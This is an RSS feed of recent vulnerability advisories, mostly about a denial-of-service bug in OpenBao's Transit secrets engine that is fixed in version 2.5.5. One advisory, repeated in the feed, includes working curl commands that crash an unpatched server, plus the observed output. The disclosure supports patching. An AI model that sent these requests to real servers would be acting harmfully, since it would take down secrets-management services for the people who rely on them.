<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 06:46:14 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-15490</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-15490</link>
      <description>bdu:2026-15490</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-15490</guid>
    </item>
    <item>
      <title>BIT-openbao-2026-55776 — OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types</title>
      <link>https://cve.radiocsirt.org/vuln/bit-openbao-2026-55776</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Bitnami: openbao&lt;/p&gt;
&lt;p&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Bitnami: openbao&lt;/p&gt;
&lt;p&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bit-openbao-2026-55776</guid>
    </item>
    <item>
      <title>EUVD-2026-370741</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-370741</link>
      <description>EUVD-2026-370741</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-370741</guid>
    </item>
    <item>
      <title>fkie_cve-2026-55776</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-55776</link>
      <description>&lt;p&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-55776</guid>
    </item>
    <item>
      <title>GHSA-8w8f-r2xv-4q4j — OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-8w8f-r2xv-4q4j</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/openbao/openbao&lt;/p&gt;
&lt;p&gt;On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)
with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.&lt;/p&gt;
&lt;p&gt;Mount the transit engine:&lt;/p&gt;
&lt;p&gt;`curl -sS -X POST -H &amp;#34;X-Vault-Token: root&amp;#34; \
       -d &amp;#39;{&amp;#34;type&amp;#34;:&amp;#34;transit&amp;#34;}&amp;#39; \
       http://127.0.0.1:8200/v1/sys/mounts/transit`&lt;/p&gt;
&lt;p&gt;Trigger the crash:&lt;/p&gt;
&lt;p&gt;`curl -sS -w &amp;#39;\nHTTP %{http_code}\n&amp;#39; -X POST \
       -H &amp;#34;X-Vault-Token: root&amp;#34; \
       -H &amp;#34;Content-Type: application/json&amp;#34; \
       -d &amp;#39;{&amp;#34;type&amp;#34;:&amp;#34;rsa-2048&amp;#34;,&amp;#34;derived&amp;#34;:true,&amp;#34;exportable&amp;#34;:true,&amp;#34;deletion_allowed&amp;#34;:false}&amp;#39; \
       http://127.0.0.1:8200/v1/transit/keys/some-key-name`&lt;/p&gt;
&lt;p&gt;You can try with both JSON or HCL It will crash the entire cluster.&lt;/p&gt;
&lt;p&gt;Observed:
     HTTP 000
     curl: (52) Empty reply from server&lt;/p&gt;
&lt;p&gt;$ docker ps -a --filter name=openbao
     STATUS: Exited (2)&lt;/p&gt;
&lt;p&gt;Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or
  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transi…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/openbao/openbao&lt;/p&gt;
&lt;p&gt;On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)
with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.&lt;/p&gt;
&lt;p&gt;Mount the transit engine:&lt;/p&gt;
&lt;p&gt;`curl -sS -X POST -H &amp;#34;X-Vault-Token: root&amp;#34; \
       -d &amp;#39;{&amp;#34;type&amp;#34;:&amp;#34;transit&amp;#34;}&amp;#39; \
       http://127.0.0.1:8200/v1/sys/mounts/transit`&lt;/p&gt;
&lt;p&gt;Trigger the crash:&lt;/p&gt;
&lt;p&gt;`curl -sS -w &amp;#39;\nHTTP %{http_code}\n&amp;#39; -X POST \
       -H &amp;#34;X-Vault-Token: root&amp;#34; \
       -H &amp;#34;Content-Type: application/json&amp;#34; \
       -d &amp;#39;{&amp;#34;type&amp;#34;:&amp;#34;rsa-2048&amp;#34;,&amp;#34;derived&amp;#34;:true,&amp;#34;exportable&amp;#34;:true,&amp;#34;deletion_allowed&amp;#34;:false}&amp;#39; \
       http://127.0.0.1:8200/v1/transit/keys/some-key-name`&lt;/p&gt;
&lt;p&gt;You can try with both JSON or HCL It will crash the entire cluster.&lt;/p&gt;
&lt;p&gt;Observed:
     HTTP 000
     curl: (52) Empty reply from server&lt;/p&gt;
&lt;p&gt;$ docker ps -a --filter name=openbao
     STATUS: Exited (2)&lt;/p&gt;
&lt;p&gt;Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or
  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transi…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-8w8f-r2xv-4q4j</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-2028 — OpenBao: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2028</link>
      <description>&lt;p&gt;Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in OpenBao ausnutzen, um Administratorrechte zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen und einen Denial-of-Service-Zustand zu verursachen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in OpenBao ausnutzen, um Administratorrechte zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen und einen Denial-of-Service-Zustand zu verursachen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2028</guid>
    </item>
  </channel>
</rss>
